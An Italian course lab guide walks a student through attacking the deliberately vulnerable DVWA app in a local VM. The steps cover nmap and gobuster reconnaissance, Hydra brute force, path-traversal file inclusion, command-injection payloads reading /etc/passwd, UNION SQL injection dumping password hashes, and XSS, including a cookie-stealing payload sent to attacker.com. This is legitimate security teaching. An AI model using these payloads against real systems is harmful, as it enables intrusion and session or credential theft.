

Guida Lab S3 — Web Security

Guida Lab — Modulo S3: Web Security (DVWA)

Corso: Lab Sicurezza Informatica T **Materiale:**

Web_security_6_marzo.pdf (teoria, 45pp) +

LAB_web_security_11_marzo.pdf (lab, 42pp) **VM:**

LabSicurezzaInformatica in VirtualBox — Parrot OS **Prerequisiti:** S1

✓ (nmap, ip a, gobuster), S2 ✓ (sessioni, cookie, autenticazione)

Setup

⚠ **Snapshot obbligatorio** prima di iniziare ogni sezione di sfruttamento.

1. Avvia la VM Parrot in VirtualBox.
2. Verifica che nessun altro processo occupi la porta 80:

```
sudo ss -tulpn
```

✓ Solo udp/123 (ntpd) — nessun TCP in ascolto, porta 80 libera. Si può procedere. `ss -tulpn: -t TCP, -u UDP, -l listening, -p processo, -n numerico`. Ogni riga mostra indirizzo:porta e processo responsabile.

Se appare nginx in ascolto sulla 80, fermalo:

```
sudo service nginx stop
```

1. Avvia DVWA (primo avvio: scarica l'immagine Docker, alcuni minuti):

```
cd ~/pentestlab
./pentestlab.sh start dvwa
```

Se pentestlab non è presente:

```
git clone https://github.com/eystsen/pentestlab.git && cd
pentestlab
./pentestlab.sh start dvwa
```

⚠ http://dvwa reindirizzato su HTTPS da Firefox → vedere **Troubleshooting → Firefox reindirizza http://dvwa su HTTPS**.
⚠ Con Podman: ./pentestlab.sh start dvwa fallisce con errore registry → vedere **Troubleshooting → Podman al posto di Docker**.

1. Prima configurazione DVWA (solo al primissimo avvio):

- Apri http://dvwa nel browser di Parrot
- Login: admin / password
- Vai su **Setup → Create / Reset Database**
- Vai su **DVWA Security** → seleziona low → **Submit**

✓ DVWA configurato: database creato, livello sicurezza low.

1. Verifica il tuo IP host (ti servirà per RFI e Hydra):

ip a

✓ IP host-only (per RFI e Hydra): 192.168.56.103 su enp0s8. IP container DVWA: 127.8.0.1 (port-forward Podman — vedere Troubleshooting). Output completo di ip a in Esercizio 1. ⚠ Gli IP nel PDF (.32/.33/.34/.5) sono esempi dell'anno scorso.

Troubleshooting Setup

Podman al posto di Docker (Parrot OS)

Parrot OS usa Podman come backend container, non Docker. Podman emula la CLI di Docker ma richiede il registry esplicito per le immagini.

Sintomo: ./pentestlab.sh start dvwa termina con:

```
Error: short-name "vulnerables/web-dvwa" did not resolve to an
alias
```

Fix — esegui manualmente con registry completo:

```
sudo docker pull docker.io/vulnerables/web-dvwa
sudo docker run --name dvwa -d -p 127.8.0.1:80:80 docker.io/
vulnerables/web-dvwa
```

Verifica che il container sia attivo:

```
sudo docker ps
# deve mostrare una riga con "dvwa" e STATUS "Up"
```

Es.1 — nmap non trova il container (Podman)

Con Podman, pentestlab espone DVWA su 127.8.0.1:80 — un indirizzo loopback. Gli indirizzi 127.x.x.x non appaiono in nessun nmap -sn perché non viaggiano su interfacce di rete reali. La discovery nmap dell'Es.1 è pensata per Docker standard, dove il container ottiene un IP sul bridge 172.17.0.0/16.

Con Podman: usa 127.8.0.1 come IP_DVWA direttamente (lo trovi in /etc/hosts o nell'output di pentestlab.sh). I comandi nmap dell'Es.1 diventano:

```
nmap -sT -p- 127.8.0.1
nmap -sV -p 80 127.8.0.1
```

Firefox reindirizza http://dvwa su HTTPS

Firefox HTTPS-Only Mode upgrada automaticamente le URL HTTP.

Fix opzione 1 — disabilita HTTPS-Only Mode: Impostazioni → Privacy e Sicurezza → “Modalità solo HTTPS” → seleziona “Non attivare”

Fix opzione 2 — usa l'IP diretto (bypassa il problema):

http://127.8.0.1

pentestlab mappa dvwa a 127.8.0.1 in /etc/hosts — i due URL sono equivalenti.

Threat Model

Prospettiva attaccante: l'applicazione web non distingue tra *dato* e *istruzione*. Qualsiasi input controllato dall'attaccante che raggiunge un interprete — SQL, shell, JavaScript, XML parser — è potenzialmente armabile. Il lab segue le fasi di un pentest reale su web app:

enumerazione servizi → directory discovery → brute force credenziali
→ sfruttamento vulnerabilità applicative (LFI, command injection,
SQLi, XSS).

Prospettiva difensore: *validate input* (filtra e valida prima di usarlo),
escape output (codifica HTML prima di echeggiarlo), usa *bind variables*
per SQL (prepared statements), principio del minimo privilegio (www-
data non dovrebbe leggere /etc/passwd), configura *HTTP security*
headers (CSP, X-Frame-Options, HSTS).

Esercizi

| Lorenzo digita tutti i comandi. La guida li fornisce, non li esegue.

Esercizio 1 — Service Enumeration

Obiettivo: scoprire l'indirizzo IP del container DVWA e le porte aperte
sulla rete host-only.

Concetto: prima di attaccare bisogna sapere chi risponde dove. Su rete
host-only si scansiona il subnet per trovare i nodi attivi, poi si
verificano le porte aperte sul target.

Comandi:

```
# Trova il tuo IP host (prendi nota del subnet, es.  
192.168.56.0/24)
```

```
ip a
```

```
# Scopri gli host attivi sulla rete (sostituisci con il tuo  
subnet)
```

```
sudo nmap -sn 192.168.XX.0/24
```

```
# Scansione porte TCP sul container DVWA trovato
```

```
nmap -sT -p- IP_DVWA
```

```
# Identificazione servizi sulle porte aperte
```

```
nmap -sV -p 80,8080 IP_DVWA
```

ip a — interfacce attive: - enp0s3 · 10.0.2.15/24 — NAT
VirtualBox (uscita internet) - enp0s8 · 192.168.56.103/24 — host-
only (rete condivisa con l'host fisico) - podman0 · 10.88.0.1/16 —
bridge interno Podman (rete dei container) - veth0@if2 —
interfaccia virtuale del container DVWA su podman0 
container attivo

⚠ Con Podman il container non è su 192.168.56.0/24 — accessibile via port-forward a 127.8.0.1. Usa 127.8.0.1 come IP_DVWA (vedere Troubleshooting).

nmap -sT -p- 127.8.0.1:

```
PORT      STATE SERVICE
80/tcp    open  http
```

✓ Una sola porta aperta: TCP/80. Il container espone solo il web server, nessun altro servizio. “Not shown: 65534 closed” = tutte le altre porte hanno risposto con TCP RST (closed ≠ filtered).

nmap -sV -p 80,8080 127.8.0.1:

```
PORT      STATE SERVICE      VERSION
80/tcp    open  http        Apache httpd 2.4.25 ((Debian))
8080/tcp  closed http-proxy
```

✓ Apache 2.4.25 su Debian espone DVWA sulla porta 80. -sV legge il banner del servizio — senza di esso sai solo che la porta è aperta, non cosa gira sopra. 8080 closed: Podman ha risposto con TCP RST — porta esistente ma nessun processo in ascolto. Nessun proxy o secondo web server attivo.

Anatomia dei comandi: - ip a — mostra tutte le interfacce con i loro indirizzi IP. Serve per conoscere il proprio IP e subnet prima di qualsiasi scansione. - sudo nmap -sn <subnet> — *ping scan*: invia ARP request (su rete locale) per scoprire quali host sono vivi senza scansionare porte. Richiede sudo per usare ARP; senza sudo usa ICMP, meno affidabile su rete locale. - nmap -sT -p- IP — TCP connect scan su tutte le 65535 porte (-p-). -sT completa la handshake TCP; non è stealth ma non richiede sudo. Ti dice *quali porte sono aperte*, non cosa gira. - nmap -sV -p 80,8080 IP — service/version detection: legge i banner dei servizi per identificare nome e versione. -sV fa “parlare” il servizio. Senza -sV sai solo che la porta è aperta.

⚠ **Errore frequente:** -sT vs -sV hanno funzioni diverse. -sT = stato porta (open/closed); -sV = servizio e versione. Per sapere “cosa gira sulla 80” serve -sV.

Cosa verificare: porta 80 aperta sul container; http://IP_DVWA nel browser mostra la login di DVWA.

Esercizio 2 — Directory Discovering (gobuster)

Obiettivo: trovare directory e file nascosti nell'applicazione web — path non linkati che possono esporre funzionalità admin, backup, configurazioni.

Concetto: security misconfiguration (A5) spesso lascia path accessibili che non compaiono nella navigazione normale. Un web content scanner li forza con una wordlist — ogni entry viene provata come path HTTP.

Comandi:

```
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://dvwa
```

gobuster non esplora ricorsivamente le directory — è un **brute-forcer di path**: prende ogni parola da big.txt (es. admin, config, phpmyadmin) e costruisce http://dvwa/<parola>, mandando una richiesta HTTP per ciascuna. Se risponde 200/301/403 → path esiste; 404 → non esiste. Non segue link, non entra nelle cartelle trovate: scopre solo *quali path esistono* alla radice.

Output ottenuto (http://127.8.0.1):

/.htaccess	(Status: 403)
/.htpasswd	(Status: 403)
/README.md	(Status: 200)
/config	(Status: 301) → http://127.8.0.1/config/
/docs	(Status: 301)
/external	(Status: 301)
/favicon.ico	(Status: 200)
/robots.txt	(Status: 200)
/server-status	(Status: 403)

Come leggere i codici HTTP: - 200 — esiste ed è accessibile in lettura - 301 — redirect: la directory esiste, Apache aggiunge lo slash finale - 403 — Forbidden: il server sa che esiste ma nega l'accesso - 404 — non esiste (gobuster li filtra di default — per questo non appaiono)

Cosa è interessante: - /config (301): contiene config.inc.php con credenziali del database — path da esplorare - /README.md (200): espone la versione di DVWA — informazione utile al ricognitore - /server-status (403): endpoint Apache mod_status — bloccato,

ma se mal configurato esporrebbe statistiche interne del server -
/.htaccess / /.htpasswd (403): il server li conosce ma li protegge;
in caso di misconfiguration sarebbero leggibili

⚠ /phpmyadmin non trovato — questa immagine Docker non lo include. L'output atteso nella guida era basato su una versione diversa di DVWA.

Anatomia del comando: - gobuster dir — modalità directory/file brute-force (vs dns per sottodomini, vhost per virtual host). - -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt — wordlist da provare come path. Su Parrot le SecLists stanno in /usr/share/wordlists/. big.txt è ampia e bilanciata per web content discovery. - -u http://dvwa — URL target. dvwa si risolve perché Docker configura l'hostname. Alternativa: -u http://IP_DVWA se la risoluzione non funziona. - Variante più veloce: -t 50 aumenta i thread (default 10).

Output atteso:

/.htpasswd	(Status: 403)
/.svn	(Status: 301)
/cgi-bin/	(Status: 403)
/config	(Status: 301)
/favicon.ico	(Status: 200)
/phpmyadmin	(Status: 301)
/robots.txt	(Status: 200)

Cosa verificare: /phpmyadmin è esposto (A5 Security Misconfiguration — interfaccia admin del DB accessibile). /config può contenere file di configurazione con credenziali. /robots.txt può rivelare path che l'admin voleva nascondere.

Bonus — pagina Setup DVWA (<http://127.8.0.1/setup.php>):
Rivela informazioni critiche senza autenticazione: - Percorso esatto del config: /var/www/html/config/config.inc.php → usarlo direttamente in Es.4 LFI - Credenziali DB parziali: utente app, database dvwa, host 127.0.0.1 (password nascosta ma leggibile via LFI) - allow_url_include: Disabled → RFI non funziona (confermato) - allow_url_fopen: Enabled → LFI funziona - www-data scrive in /hackable/uploads/ → in scenari reali: upload webshell PHP + esecuzione via LFI - PHP 7.0.30 (EOL 2019) → versione con CVE noti Questa è A5 Security Misconfiguration: informazioni di sistema esposte senza autenticazione.

Esercizio 3 — Brute Force Login (Burp + Hydra)

Obiettivo: craccare le credenziali del form “Brute Force” di DVWA usando Burp per analizzare la request e Hydra per automatizzare l’attacco.

Concetto: il brute force su un form HTTP GET richiede di conoscere esattamente la struttura della request — parametri, cookie di sessione, stringa di fallimento. Burp intercetta la request per estrarre queste informazioni; Hydra le usa per iterare su username/password.

Comandi:

Step 1 — Intercetta la request con Burp:

```
# Avvia Burp Community Edition dal menu applicazioni
# Usa le default settings + "Temporary project"
# In Burp: Proxy → Intercept is ON
# Apri il browser integrato di Burp (tasto "Open Browser" nel tab Proxy)
# ⚠ Se il browser di Burp carica all'infinito: usa Firefox con proxy manuale
#     Impostazioni Firefox → Rete → Proxy manuale → 127.0.0.1:8080
# Vai su http://127.8.0.1/vulnerabilities/brute/ e digita "prova"/"prova" → Login
# Burp intercetta la request – cerca la riga Cookie:
#   Cookie: PHPSESSID=<tuo_session_id>; security=low
# Nota il PHPSESSID – serve nel comando Hydra. Il cookie scade: riacquistalo ogni volta
```

Step 2 — Lancia Hydra con i dati catturati:

```
hydra 127.8.0.1 \
  -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt \
  -P /usr/share/wordlists/fasttrack.txt \
  http-get-form \
    "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:H=Cookie\:PHPSESSID=<tuo_session_id>; security=low:Username and/or password incorrect."
```

Step 3 (bonus) — Genera wordlist contestuale da sito con cewl:

```
cewl -d 1 -m 5 https://ulisse.unibo.it
```

Anatomia dei comandi: - hydra <IP> — target dell’attacco. Hydra prova ogni combinazione username/password contro il servizio specificato. - -L <file> — lista di username da provare. -l admin per un singolo username noto. - -P <file> — lista di password da provare.

fasttrack.txt è pensata per attacchi rapidi su credenziali comuni (222 password); su Parrot: /usr/share/wordlists/fasttrack.txt. - http-get-form — modulo per form HTTP GET. Per POST: http-post-form. - La stringa ha formato "path:parametri[:optional...]:condition_string" — **la condition va sempre ULTIMA**: - ^USER^ e ^PASS^ = placeholder sostituiti da Hydra per ogni tentativo - H=Cookie\ : ... = header custom (il \ : escapa il due punti nell'header — è richiesto da Hydra 9.5) - L'ultima stringa è il testo che appare quando il login **fallisce** — Hydra deduce il successo dalla sua assenza - cewl -d 1 -m 5 <url> — crawla il sito a profondità 1 estraendo parole di almeno 5 caratteri. Genera una wordlist contestuale: parole che l'amministratore del sito potrebbe usare come password.

 **Hydra 9.5 vs PDF**: la guida del prof usa la sintassi ...condition:H=Cookie:... (condition prima dell'header). In Hydra 9.5 il parser è cambiato: **la condition string deve essere l'ultimo campo**, dopo tutti gli optional (H=, C=, ecc.). La sintassi del PDF funziona su Hydra 8.x — su 9.5 produce parse error.

 **Il PHPSESSID nel comando Hydra è il TUO cookie di sessione attivo**, non quello del PDF. Copialo da Burp ogni volta che lanci Hydra (scade alla chiusura della sessione browser).

Output atteso:

```
[INFORMATION] escape sequence \: detected in module option, no
parameter verification is performed.
[DATA] attacking http-get-form://127.8.0.1:80/vulnerabilities/
brute/...
[80][http-get-form] host: 127.8.0.1  login: admin  password:
password
1 of 1 target successfully completed, 1 valid password found
```

Cosa verificare: Hydra trova admin/password. Il form non ha rate limiting né lockout → A7 (Identification and Authentication Failures) confermato.

Esercizio 4 — File Inclusion (LFI / Path Traversal)

Obiettivo: usare la vulnerabilità di File Inclusion per leggere file arbitrari del server tramite path traversal, poi simulare RFI.

Concetto: la pagina DVWA “File Inclusion” accetta un parametro `page=` passato direttamente a `include()` PHP senza filtri sull’input. LFI (Local File Inclusion) legge file locali del server; path traversal con `../` scala le directory fino alla radice. RFI (Remote File Inclusion) carica ed *esegue* file remoti — RCE via inclusion.

Comandi:

LFI — leggi `/etc/passwd` via path traversal:

```
# Nel browser, DVWA → File Inclusion
# Modifica il parametro page= nella URL:
http://127.8.0.1/vulnerabilities/fi/?page=../../../../../../etc/
passwd
```

⚠ Servono 5 livelli `../`, non 4. La webroot è `/var/www/html/vulnerabilities/fi/` — cinque directory sopra c’è la radice `/`. Con 4 livelli si arriva a `/var/` → `/var/etc/passwd` non esiste → schermata vuota.

Output ottenuto — `/etc/passwd` del container:

```
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false
...
```

Cosa rivela: - `www-data` (UID 33) — utente con cui gira Apache/PHP; home `/var/www`; nessuna shell (`/usr/sbin/nologin`).
Command injection o webshell girerebbe con questo UID. - `mysql` (UID 101) — MySQL è in esecuzione nel container, senza shell di login. - Nessun utente reale con `/bin/bash` tranne `root` — tipico container minimal. - Il file è leggibile da `www-data` → **A1 Broken Access Control** confermato: un parametro URL ha esposto un file di sistema senza autenticazione.

RFI — includi file PHP remoto (richiede abilitazione manuale):

```
# Step 1: crea un file PHP di test su Parrot
echo '<?php echo "<p>Hello World</p>"; ?>' > test.php

# Step 2: servi il file con un web server HTTP sulla porta 8081
python3 -m http.server 8081

# Step 3: nel browser di DVWA (in un altro terminale)
# http://dvwa/vulnerabilities/fi/?page=http://IP_PARROT:8081/
test.php
```

Anatomia dei comandi: - ../../../../etc/passwd — ogni ../ risale di un livello dalla webroot di DVWA (/var/www/html/vulnerabilities/fi/). Cinque livelli portano alla radice /, poi si accede a /etc/passwd. Il numero di ../ varia secondo la profondità della webroot; si prova incrementalmente finché non funziona. - python3 -m http.server 8081 — avvia un web server HTTP minimale sulla porta 8081 nella directory corrente. Permette al server DVWA di raggiungere test.php via GET. Il modulo http.server è built-in Python — nessuna installazione. - echo '<?php ... ?>' > test.php — crea un file PHP minimale come proof-of-concept. Se DVWA mostra “Hello World”, ha scaricato e *eseguito* il PHP remoto (RFI con esecuzione). Se mostra il sorgente PHP, l'esecuzione remota è disabilitata.

 **RFI è disabilitato di default su DVWA** (allow_url_include = Off in PHP). Il lab mostra il vettore teorico. In un sistema reale con PHP mal configurato, l'RFI permetterebbe RCE completo.

Cosa verificare: il contenuto di /etc/passwd appare nella pagina DVWA — hai letto un file di sistema tramite il solo parametro URL. A1 (Broken Access Control / File Disclosure) confermato.

Esercizio 5 — Command Injection

Obiettivo: eseguire comandi di sistema arbitrari sul server abusando del form “ping” di DVWA.

Concetto: il codice PHP usa `exec()` per eseguire il comando ping concatenando direttamente l'input utente, senza filtrare i separatori bash. `;` esegue il secondo comando sempre (indipendentemente dall'exit code del primo); `&&` solo se il primo ha exit code 0. L'impatto è RCE con i privilegi del webserver (www-data).

Comandi:

```
# DVWA → Command Execution (Command Injection)
# Inserire nel campo dell'indirizzo IP:
```

```
127.0.0.1; ls
# → ; esegue ls sempre, anche se ping fallisse
```

```
127.0.0.1 && ls
# → && esegue ls solo se ping 127.0.0.1 ha exit code 0
```

```
; cat /etc/passwd
# → senza IP iniziale: ping fallisce subito, poi cat legge utenti di sistema
```

```
; id  
# → mostra l'utente con cui gira il webserver
```

```
; uname -a  
# → informazioni sul kernel della macchina
```

Anatomia dei payload: - 127.0.0.1; ls — il PHP costruisce il comando ping -c 4 127.0.0.1; ls. Il ; è un separatore bash: esegue i due comandi in sequenza, indipendentemente dall'exit code del primo. Funziona sempre. - 127.0.0.1 && ls — && è condizionale: esegue ls solo se ping termina con successo (exit code 0). Se l'IP non risponde, ls non gira. Meno affidabile di ; per l'attaccante. - ; cat /etc/passwd — senza IP: il ping fallisce immediatamente, poi cat legge il file. Payload più diretto. - ; id — rivela UID/GID del processo webserver. Ti dice se www-data ha privilege escalation possibile (es. appartenenza a gruppi insoliti).

 **Livello medium DVWA** filtra ; ma non && → usare && ls su difficoltà medium. Su low funzionano entrambi.

Output ottenuto:

```
# Dopo "127.0.0.1; ls":  
PING 127.0.0.1 (127.0.0.1) ...  
help index.php source
```

```
# Dopo "127.0.0.1; id":  
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

ls ha listato i file nella directory corrente del processo: /var/www/html/vulnerabilities/exec/. Il server ha eseguito il comando — RCE confermato. id conferma che il processo gira come www-data (UID 33), non root. Non è privilegiato, ma può leggere file di config con credenziali DB, scrivere nella webroot, o aprire una reverse shell verso l'attaccante.

Cosa verificare: vedi l'output di comandi arbitrari nella pagina web — RCE confermato. Il processo gira come www-data (non root), ma dalla webroot potresti leggere file di config con credenziali del DB.

Esercizio 6 — SQL Injection Semplice

Obiettivo: alterare la logica della query SQL per ottenere tutti i record della tabella utenti invece di uno solo.

Concetto: il parametro id viene concatenato direttamente nella query PHP senza sanitizzazione. Un apostrofo nel payload rompe la stringa SQL; la condizione OR 'a'='a' rende il WHERE always-true → tutti i record.

Perché funziona — il codice PHP:

Il codice sorgente di DVWA (livello low) fa esattamente questo:

```
$id = $_GET['id']; // prende l'input grezzo dalla URL
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysqli_query($GLOBALS["__mysqli_ston"], $query);
```

Con input normale 1, la query diventa:

```
SELECT first_name, last_name FROM users WHERE user_id = '1'
```

→ restituisce solo l'utente con ID 1.

Con il payload ' OR 'a'='a', la query diventa:

```
SELECT first_name, last_name FROM users WHERE user_id = '' OR 'a'='a'
```

- ' — chiude la stringa aperta dal PHP (WHERE user_id = '). Ora il DB vede un valore vuoto per user_id.
- OR 'a'='a' — aggiunge una condizione always-true: 'a'='a' è sempre verificato.
- Il WHERE diventa: “dammi le righe dove user_id è vuoto **oppure** 'a'='a'”. La seconda condizione è sempre vera → **tutte le righe** della tabella.
- L'apostrofo finale del PHP (') chiude il 'a' dell'ultimo 'a' — la query è sintatticamente corretta senza bisogno di un commento #.

Comandi:

DVWA → SQL Injection, campo User ID

' OR 'a'='a

Output ottenuto:

ID: ' OR 'a' = 'a	First name: admin	Surname: admin
ID: ' OR 'a' = 'a	First name: Gordon	Surname: Brown
ID: ' OR 'a' = 'a	First name: Hack	Surname: Me
ID: ' OR 'a' = 'a	First name: Pablo	Surname: Picasso
ID: ' OR 'a' = 'a	First name: Bob	Surname: Smith

Tutti e 5 gli utenti del DB restituiti — la logica del WHERE è stata completamente bypassata. ✓

Cosa verificare: la pagina restituisce tutti gli utenti invece di uno — la logica del WHERE è stata bypassata. Questo funziona anche su form di login: ' OR '1'='1 bypassa l'autenticazione perché la query WHERE password='...' OR '1'='1' è always-true.

Esercizio 7 — SQL Injection Union Based

Obiettivo: estrarre credenziali dal database usando la tecnica UNION per aggiungere una seconda query alla query originale.

Concetto: UNION SQL concatena i risultati di due SELECT a patto che abbiano lo stesso numero di colonne. La logica è una ricognizione a imbuto in 4 passi — ogni passo usa le informazioni del passo precedente per sapere cosa chiedere dopo.

Il filo logico — perché ogni passo porta al successivo:

Passo 1: quante colonne ha la query originale?
→ serve per costruire UNION valide (stesso numero di colonne)
↓
Passo 2: che DBMS è? che DB è attivo?
→ @@version dice il DBMS (MySQL/MariaDB/PostgreSQL hanno sintassi diverse)
→ database() dice il nome del DB corrente (quello da attaccare)
↓
Passo 3a: quali tabelle esistono in quel DB?
→ information_schema.tables filtrato per table_schema='dvwa'
↓
Passo 3b: quali colonne ha la tabella 'users'?
→ information_schema.columns filtrato per table_name='users'
↓
Passo 4: estrai i dati reali con i nomi esatti trovati al passo 3b
→ SELECT user,password FROM users

Non puoi saltare passi: senza il numero di colonne la UNION dà errore; senza i nomi delle tabelle non sai cosa selezionare; senza i nomi delle colonne non sai quali campi estrarre.

Comandi:

Step 1 — Scopri il numero di colonne (prova finché non dà errore):

```
' union select NULL #
```

→ errore “The used SELECT statements have a different number of columns”

```
' union select NULL,NULL #
```

→ riga vuota restituita: **2 colonne** ✓

Step 2 — Metadati del server (sai il DBMS e il DB target):

```
' union select NULL,@@version #
```

Surname: 10.1.1.26-MariaDB-0+deb9u1 — MariaDB su Debian 9.
Confermato MySQL-compatibile → information_schema
disponibile.

```
' union select NULL,@@hostname #
```

Surname: a6cabe4862c — hostname del container Docker.

```
' union select NULL,database() #
```

Surname: dvwa — DB attivo: dvwa. Questo è il nome da usare nel
filtro table_schema= al passo successivo.

Step 3 — Mappa la struttura (prima i DB, poi le tabelle, poi le colonne):

```
' union select null,schema_name from information_schema.schemata #
```

DB presenti: dvwa, information_schema — container minimale,
nessun DB di sistema aggiuntivo.

```
' union select null,table_name from information_schema.tables  
where table_schema='dvwa' #
```

Tabelle in dvwa: guestbook, users — ci interessa users.

```
' union select null,column_name from information_schema.columns  
where table_name='users' #
```

Colonne di users: user_id, first_name, last_name, user, password,
avatar, last_login, failed_login. Le colonne utili sono user e
password — nomi esatti da usare nel passo 4.

Step 4 — Estrai le credenziali con i nomi trovati al passo 3:

```
' union select user,password from users #
```

Output ottenuto:

admin	5f4dcc3b5aa765d61d8327deb882cf99
gordonb	e99a18c428cb38d5f260853678922e03
1337	8d3533d75ae2c3966d7e0d4fcc69216b
pablo	0d107d09f5bbe40cade3de5c71e9e9b7
smithy	5f4dcc3b5aa765d61d8327deb882cf99

5f4dcc3b5aa765d61d8327deb882cf99 = MD5 di “password” (admin e smithy hanno la stessa password). Hash MD5 senza salt — cercabile su qualsiasi rainbow table online.

Anatomia dei payload: - ' iniziale — chiude la stringa del parametro aperta dal PHP (WHERE user_id = '). Senza questo l’input viene trattato come valore letterale, non come SQL. - UNION SELECT — concatena una seconda query. I risultati appaiono nelle stesse colonne della query originale (First name / Surname). - NULL — placeholder neutro compatibile con qualsiasi tipo di colonna. Serve per trovare il numero di colonne senza sapere i tipi. - # — commenta il ' finale che il PHP aggiunge dopo il parametro, altrimenti la query avrebbe un apostrofo spaio → errore di sintassi SQL. - @@version / @@hostname / database() — variabili e funzioni MySQL che restituiscono metadati del server senza toccare tabelle utente. - information_schema — DB di sistema MySQL/MariaDB sempre presente, contiene la mappa dell’intera struttura. .schemata = lista DB; .tables = lista tabelle; .columns = lista colonne. È la stessa “mappa” usata da ogni tool di SQLi automatico (sqlmap, ecc.).

 **information_schema è specifico di MySQL/MariaDB.** Per PostgreSQL: pg_catalog; per SQLite: sqlite_master. Ecco perché il passo 2 (identificare il DBMS con @@version) viene prima della mappatura.

Cosa verificare: username + hash MD5 di tutti gli utenti DVWA estratti. 5f4dcc3b5aa765d61d8327deb882cf99 cercato online → “password”. Hash senza salt = A2 (Cryptographic Failures).

Esercizio 8 — XSS Reflected

Obiettivo: iniettare JavaScript nel form “XSS Reflected” di DVWA e vedere il codice eseguire nel browser.

Concetto: il server echeggia l’input nella pagina HTML senza encoding. Il browser interpreta <script> come JavaScript ed esegue il codice. In un attacco reale l’attaccante costruisce una URL con il payload nel

parametro GET e la invia alla vittima — quando la vittima clicca, il suo browser esegue il codice JS nel contesto del sito fidato (che ha il suo cookie di sessione).

Comandi:

```
<!-- DVWA → XSS (Reflected), campo "What's your name?" -->
```

```
<script>alert("XSS")</script>
```

```
<script>alert(document.cookie)</script>
```

Anatomia dei payload: - `<script>alert("XSS")</script>` — tag script HTML: il browser lo interpreta come JavaScript. `alert()` è la proof-of-concept classica — se appare il popup, il codice è eseguito. Il server ha echeggiato l’input senza HTML-encoding (`<`; per `<`). -

`<script>alert(document.cookie)</script>` — `document.cookie` è una proprietà del DOM che contiene tutti i cookie del dominio corrente, incluso il PHPSESSID. Se appare il cookie nel popup, un attaccante potrebbe esfiltrarla inviandola al suo server invece di chiamare `alert()`. - In attacco reale la URL sarebbe: ?

`name=<script>alert(document.cookie)</script>` — la vittima (già loggata su DVWA) viene portata a cliccare questa URL; il suo browser autentico esegue il codice JS nel contesto di DVWA, che ha accesso al suo PHPSESSID.

Output ottenuto: popup con testo “XSS” (primo payload) e popup con il PHPSESSID attivo (secondo payload). 

Cosa verificare: il popup appare — XSS confermato. Il sito non fa HTML-encoding dell’input prima di echeggiarlo nella risposta.

Esercizio 9 — XSS Stored

Obiettivo: iniettare JavaScript nella sezione “Stored XSS” di DVWA in modo che il payload rimanga nel DB ed esegua automaticamente per ogni visitatore.

Concetto: a differenza del Reflected (richiede che la vittima clicchi una URL specifica), lo Stored XSS persiste nel database del server. Ogni utente che carica la pagina esegue il codice malevolo senza alcuna interazione richiesta — è più pericoloso. Il vettore tipico sono forum, campi commento, guestbook.

Comandi:

```
<!-- DVWA → XSS (Stored) -->
<!-- Compila il form guestbook: -->
<!-- Name: test -->
<!-- Message: <script>alert("XSS stored")</script> -->
<!-- Clicca "Sign Guestbook" -->
```

Per mostrare il cookie di sessione a ogni visitatore:

```
<script>alert(document.cookie)</script>
```

Anatomia del payload: - Lo stesso `<script>alert()</script>` viene inserito nel campo message del guestbook. Il server salva il payload nel DB senza sanitizzarlo. Ogni volta che qualsiasi utente carica la pagina del guestbook, il payload viene echeggiato dall'HTML e il browser lo esegue. - **Differenza critica con Reflected:** nel Reflected il payload è nell'URL e richiede social engineering per far cliccare la vittima; nello Stored è nel DB e colpisce automaticamente tutti i visitatori successivi — zero interazione. - In un attacco reale il payload esiltra il cookie su un server dell'attaccante: `<script>document.location='http://attacker.com/steal?c='+document.cookie</script>`.

Output ottenuto: popup al submit; ricaricando la pagina il popup riappare senza reinserire nulla — payload persistente nel DB. ✓

Cosa verificare: ricarica la pagina → il popup riappare. Questo dimostra la persistenza: chiunque carichi questa pagina esegue il JS.

Connessioni

- **Con S1 (enumerazione):** nmap e gobuster di questo lab sono le stesse tecniche di S1 riapplicate a web app. La differenza: qui la discovery porta a vulnerabilità applicative invece che a mappa di rete.
 - **Con S2 (autenticazione):** il brute force (Es.3) dimostra perché rate limiting e lockout sono fondamentali. XSS con `document.cookie` (Es.8-9) dimostra il furto di sessione — esattamente il rischio che i session token sicuri di S2 cercano di mitigare.
 - **Con S5 (firewall):** Command Injection (Es.5) dà RCE come `www-data`. Le regole iptables in uscita limitano il blast radius bloccando reverse shell e connessioni verso la rete interna (SSRF).
 - **Con S10 (Suricata):** i payload `' union select, ; cat /etc/passwd, <script>alert` generano pattern rilevabili nel traffico HTTP — Suricata può matchare questi signature nelle request web.
-

Famiglia d'esame

Tipologia: **Web vulnerabilities** ★ Prova passata correlata:
SIMULAZIONI ESAMI/SICINF/<file_web_vulnerabilities> — eseguila al
termine del lab.

Collegati

- [[appunti_moduloS3_web_security]]
- [[lezione_moduloS3_web_security]]

Hub: [[master_map_studio]] · [[concept_maps]] ·
[[metodo_studio_esami_pratici]]